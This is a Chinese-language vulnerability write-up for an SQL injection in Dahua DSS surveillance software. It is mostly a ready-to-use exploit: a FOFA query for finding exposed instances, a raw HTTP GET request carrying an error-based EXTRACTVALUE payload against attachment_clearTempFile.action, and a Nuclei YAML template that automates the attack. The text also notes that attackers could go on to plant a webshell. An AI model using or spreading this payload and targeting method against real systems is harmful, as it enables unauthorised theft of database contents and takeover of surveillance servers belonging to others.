D1-1大华-DDS数字监控系统-SQL

漏洞描述：

大华 DSS存在SQL注入漏洞，攻击者 向 attachment_clearTempFile.action 路由发送特殊构造的数据包，利用报错注入获取数据库敏感信息。攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

网站图片:

网络测绘:

fofa语法：

FOFA：app=“dahua-DSS”

漏洞复现:

payload：

GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

效果图:

Yaml模板

id: D1-1DaHua-DSS-SQL

info:
  name: D1-1DaHua-DSS-SQL
  author: Kpanda
  severity: critical
  description: "向 attachment_clearTempFile.action 路由发送特殊构造的数据包，利用报错注入获取数据库敏感信息"
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/136882191?spm=1001.2014.3001.5502
  tags: DaHua,DSSShuZiJianKong,SQL


http:
  - raw:
      - |
        GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: keep-alive

    matchers:
      - type: dsl
        dsl:
          - "status_code==200"
          - "contains(body, 'mysql')"
        condition: and